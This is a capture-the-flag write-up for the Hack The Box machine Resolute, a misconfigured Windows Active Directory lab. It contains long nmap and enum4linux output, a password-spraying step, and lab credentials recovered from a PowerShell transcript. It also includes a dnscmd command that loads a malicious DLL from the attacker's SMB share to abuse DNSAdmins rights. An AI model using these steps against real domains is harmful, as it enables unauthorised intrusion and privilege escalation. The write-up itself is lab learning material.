Hack The Box - Resolute

1. Intro

Hack The Box Resolute (10.10.10.169) is a Windows box released on 07 Dec 2019. The box covers attacks against a poorly configured AD environment.

2. The Setup

Vulnerable Machine:       Resolute
Machine IP                10.10.10.169

Attacker Machine          Kali Linux 2020.1
Atter Machine VM:         VMWARE
Attacker Machine IP:      10.10.14.139

Note: The attacker IP address changed a number of times throughout this tutorial due to VPN issues.

3. Scanning

We begin by trying to enumerate any open ports and services running on our target. To do this we use nmap with the following command: nmap -sV -A -p- -Pn -T4 -v 10.10.10.169

# Command breaks down as follows

-sV             # Service Scan TCP
-A              # OS and version detection + traceroute and scripts
-T4             # T4 Timing
-Pn             # Disable ping
-p-             # Scan all ports
10.10.10.169    # IP Resolute
Nmap scan report for MEGABANK.LOCAL (10.10.10.169)
Host is up (0.040s latency).
Not shown: 64133 closed ports, 1379 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  tcpwrapped
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-02 15:30:30Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  unknown
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  unknown
49688/tcp open  unknown
49914/tcp open  unknown
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h48m57s, deviation: 4h37m09s, median: 8m56s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2020-03-02T07:31:24-08:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-03-02T15:31:22
|_  start_date: 2020-03-02T14:53:41

NSE: Script Post-scanning.
Initiating NSE at 15:25
Completed NSE at 15:25, 0.00s elapsed
Initiating NSE at 15:25
Completed NSE at 15:25, 0.00s elapsed
Initiating NSE at 15:25
Completed NSE at 15:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1693.92 seconds

4. Service Enumeration

From our nmap scan we can see that our host is running several Windows Server related ports like, 88, 389, 135, 445, 3268, 5985 are open. Before we continue with our enumeration, we quickly verify that we can ping the full internal Microsoft domain name (MEGABANK.LOCAL) from our Kali box. If we get no reply - Figure 4, we need to add a static DNS entry to our /etc/hosts file for the full domain referencing the IP address of their DC, Figure 6.

4.1 Samba (SMB)

We start our enumeration phase with Enum4Linux using the following command:

enum4linux 10.10.10.169

johnd@kali:~/Hack The Box/Resolute$ enum4linux 10.10.10.169
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Mar  2 15:31:55 2020

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.10.169
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ==================================================== 
|    Enumerating Workgroup/Domain on 10.10.10.169    |
 ==================================================== 
[E] Can't find workgroup/domain


 ============================================ 
|    Nbtstat Information for 10.10.10.169    |
 ============================================ 
Looking up status of 10.10.10.169
No reply from 10.10.10.169

 ===================================== 
|    Session Check on 10.10.10.169    |
 ===================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server 10.10.10.169 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name: 

 =========================================== 
|    Getting domain SID for 10.10.10.169    |
 =========================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Domain Name: MEGABANK
Domain Sid: S-1-5-21-1392959593-3013219662-3596683436
[+] Host is part of a domain (not a workgroup)

 ====================================== 
|    OS information on 10.10.10.169    |
 ====================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.10.169 from smbclient: 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467.
[+] Got OS info for 10.10.10.169 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

 ============================= 
|    Users on 10.10.10.169    |
 ============================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail      Name: (null)    Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela       Name: (null)    Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette      Name: (null)    Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika       Name: (null)    Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire       Name: (null)    Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude       Name: (null)    Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)    Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia      Name: (null)    Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null)    Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo      Name: (null)    Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus       Name: (null)    Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak       Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie      Name: (null)    Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki        Name: (null)    Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo        Name: (null)    Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per  Name: (null)    Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan  Name: Ryan Bertrand     Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally        Name: (null)    Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon        Name: (null)    Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve        Name: (null)    Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie       Name: (null)    Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita       Name: (null)    Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf  Name: (null)    Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null)    Desc: (null)

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

 ========================================= 
|    Share Enumeration on 10.10.10.169    |
 ========================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.10.169

 ==================================================== 
|    Password Policy Information for 10.10.10.169    |
 ==================================================== 


[+] Attaching to 10.10.10.169 using a NULL share

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:10.10.10.169)

[+] Trying protocol 445/SMB...

[+] Found domain(s):

        [+] MEGABANK
        [+] Builtin

[+] Password Info for Domain: MEGABANK

        [+] Minimum password length: 7
        [+] Password history length: 24
        [+] Maximum password age: Not Set
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: 1 day 4 minutes 
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 7


 ============================== 
|    Groups on 10.10.10.169    |
 ============================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.

[+] Getting builtin groups:
group:[Account Operators] rid:[0x224]
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Administrators] rid:[0x220]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Print Operators] rid:[0x226]
group:[Backup Operators] rid:[0x227]
group:[Replicator] rid:[0x228]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[System Managed Accounts Group] rid:[0x245]
group:[Storage Replica Administrators] rid:[0x246]
group:[Server Operators] rid:[0x225]

[+] Getting builtin group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Remote Management Users' (RID: 580) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Administrators' (RID: 544) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Users' (RID: 545) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'System Managed Accounts Group' (RID: 581) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Guests' (RID: 546) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.

[+] Getting local groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]

[+] Getting local group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'DnsAdmins' (RID: 1101) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.

[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Contractors] rid:[0x44f]

[+] Getting domain group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Contractors' (RID: 1103) has member: MEGABANK\ryan
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Admins' (RID: 512) has member: MEGABANK\Administrator
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Controllers' (RID: 516) has member: MEGABANK\RESOLUTE$
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Computers' (RID: 515) has member: MEGABANK\MS02$
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Enterprise Admins' (RID: 519) has member: MEGABANK\Administrator
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
Group 'Domain Users' (RID: 513) has member: MEGABANK\DefaultAccount
Group 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group 'Domain Users' (RID: 513) has member: MEGABANK\ryan
Group 'Domain Users' (RID: 513) has member: MEGABANK\marko
Group 'Domain Users' (RID: 513) has member: MEGABANK\sunita
Group 'Domain Users' (RID: 513) has member: MEGABANK\abigail
Group 'Domain Users' (RID: 513) has member: MEGABANK\marcus
Group 'Domain Users' (RID: 513) has member: MEGABANK\sally
Group 'Domain Users' (RID: 513) has member: MEGABANK\fred
Group 'Domain Users' (RID: 513) has member: MEGABANK\angela
Group 'Domain Users' (RID: 513) has member: MEGABANK\felicia
Group 'Domain Users' (RID: 513) has member: MEGABANK\gustavo
Group 'Domain Users' (RID: 513) has member: MEGABANK\ulf
Group 'Domain Users' (RID: 513) has member: MEGABANK\stevie
Group 'Domain Users' (RID: 513) has member: MEGABANK\claire
Group 'Domain Users' (RID: 513) has member: MEGABANK\paulo
Group 'Domain Users' (RID: 513) has member: MEGABANK\steve
Group 'Domain Users' (RID: 513) has member: MEGABANK\annette
Group 'Domain Users' (RID: 513) has member: MEGABANK\annika
Group 'Domain Users' (RID: 513) has member: MEGABANK\per
Group 'Domain Users' (RID: 513) has member: MEGABANK\claude
Group 'Domain Users' (RID: 513) has member: MEGABANK\melanie
Group 'Domain Users' (RID: 513) has member: MEGABANK\zach
Group 'Domain Users' (RID: 513) has member: MEGABANK\simon
Group 'Domain Users' (RID: 513) has member: MEGABANK\naoki
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Schema Admins' (RID: 518) has member: MEGABANK\Administrator

 ======================================================================= 
|    Users on 10.10.10.169 via RID cycling (RIDS: 500-550,1000-1050)    |
 ======================================================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 742.

 ============================================= 
|    Getting printer info for 10.10.10.169    |
 ============================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 991.
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Mon Mar  2 15:35:24 2020

This allowed us to gather a list of users, groups , domains and shares on the system. Furthermore we can see from line 77:

Account: marko Name: Marko Novak       Desc: Account created. Password set to Welcome123!

that the password Welcome123! was used when creating the account. However, upon trying to login to this account using winrm it was noted that the credentials appeared to have been changed since then and are now invalid.

Moving on we next check out the file shares - https://www.hackingarticles.in/a-little-guide-to-smbenumeration/ After some trial and error it was discovered that SMB null session authentication was disabled - Figure 8.

4.2 Lightweight Directory Access Protocol (LDAP)

Next we try to gather some more specific information about the Active Directory environment. The go to tools I use for this are

Using ldeep we can gather a list of domains, users and groups.

Unfortunately we weren't able to dump any user hashes. however we note the information shown above and continue

4.3 Kerberos

After some trial and error - https://www.tarlogic.com/en/blog/how-to-attack-kerberos/ it became apparent that this avenue wasn't going to result in much.

4.4 Password Spraying

Next we will attempt to bruteforce the SMB accounts using the metasploit module SMB LOGIN CHECK. We start by using the password we found earlier in Section 4.1 - Welcome123! as a lot of administrators tend to reuse the same password when creating accounts. Thus the probability of another user having been created with the same password seemed a reasonable p[lace to start.

As can be seen from Figure 13 we found one successful set of credentials melanie:Welcome123!

5. Getting User Flag

Using evil-winrm we log using credentials melanie:Welcome123! and navigate to the Desktop folder where we retrieve our User Flag.

6. Privilege Escalation

Checking the user permissions doesn't result to much.

Note: Various priv escalation scripts were used but none resulted in anything useful.

Checking for hidden folders in the C directory we find a powershell transcripts folder:

Navigating this folder leads us to a file 'PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt'.

Upon inspecting this file a set of creds is found: ryan:Serv3r4Admin4cc123!

Checking that these creds are valid we can see that we are able to successfully login to the account belonging to Ryan.

6.1 Abusing DNSAdmins privilege for escalation in Active Directory

There is a well known privilege escalation technique involving the DNS feature implemented in AD environments. Essentially the way it works is by abusing the privileges of a user who is member of the DNSAdmins group (as is the case in this scenario - refer to Figure 16) or have write privileges to a DNS server. These permissions can be manipulated resulting in the attacker being able to load an arbitrary DLL with SYSTEM privileges on the DNS server. If you are unfamiliar with this technique, the following articles cover it in depth:

6.2 The Exploit

Making use of the metasploit SMB Delivery module we can create our malicious dll file and serve it to the client like so:

Our next step is to import that DLL in the DNS Server using the compromised account. This is done like so:

dnscmd.exe resolute /config /serverlevelplugindll \\10.10.15.124\QCcra\plugin.dll

# Command Breakdown 
dnscmd.exe <machine hostname> /config /serverlevelplugindll <path to malicious dll file>

Having successfully injected the malicious DLL file the last step is to restart the service to execute our payload.

7. Capturing Root Flag

Finally we navigate to the Desktop folder to retrieve the root.txt flag

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